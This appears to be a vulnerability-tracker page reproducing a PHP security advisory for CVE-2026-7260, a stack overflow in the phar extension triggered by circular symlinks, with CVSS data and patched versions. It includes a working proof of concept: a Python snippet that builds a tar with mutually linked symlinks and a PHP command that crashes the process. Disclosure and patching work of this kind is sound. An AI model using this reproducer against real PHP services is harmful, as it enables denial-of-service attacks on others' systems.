VulnWatch by ve1ve2
medium 5.5 EPSS 0.11%

GHSA-vc5h-9ppw-p5f3 / CVE-2026-7260: Stack overflow in phar with circular symlinks

Source:
PHP releases (GitHub php/php-src tags)
Published:
Fetched:
Updated:
Affects:
php ext-phar

https://github.com/php/php-src/security/advisories/GHSA-vc5h-9ppw-p5f3 ↗

repo-advisoryphpCWE-400CWE-674securityrepo:php/php-src

Stack overflow in phar with circular symlinks `phar_get_link_source()` in `ext/phar/util.c` recursively follows symbolic links in phar archives without any depth limit or cycle detection. A crafted tar-based phar archive containing circular symlinks causes unbounded recursion, exhausting the C stack and crashing the PHP process. https://github.com/php/php-src/blob/cbc0489126a7682796aad1e5fb4e51de74af162c/ext/phar/util.c#L60-L82 ```bash python3 -c " import tarfile with tarfile.open('circular_symlinks.tar', 'w') as tar: a = tarfile.TarInfo(name='file_a'); a.type = tarfile.SYMTYPE; a.linkname = 'file_b'; tar.addfile(a) b = tarfile.TarInfo(name='file_b'); b.type = tarfile.SYMTYPE; b.linkname = 'file_a'; tar.addfile(b) " php -r ' $p = new PharData("circular_symlinks.tar"); $p["file_a"]->getContent(); ' # Expected: Segmentation fault (stack overflow) ``` Affected packages: php:ext-phar Patched: ext-phar 8.2.33, ext-phar 8.3.33, ext-phar 8.4.24, ext-phar 8.5.9

Linked vulnerabilities (2)

CVE-2026-7260 medium 5.5 EPSS 0.11% (p2) NVDCVE.orgGHSA
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

php8.2 - security update

CWE: CWE-400, CWE-674Aliases: CVE-2026-17543, GHSA-vc5h-9ppw-p5f3, CVE-2026-17544
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Stack overflow in phar with circular symlinks

CWE: CWE-400, CWE-674Aliases: CVE-2026-7260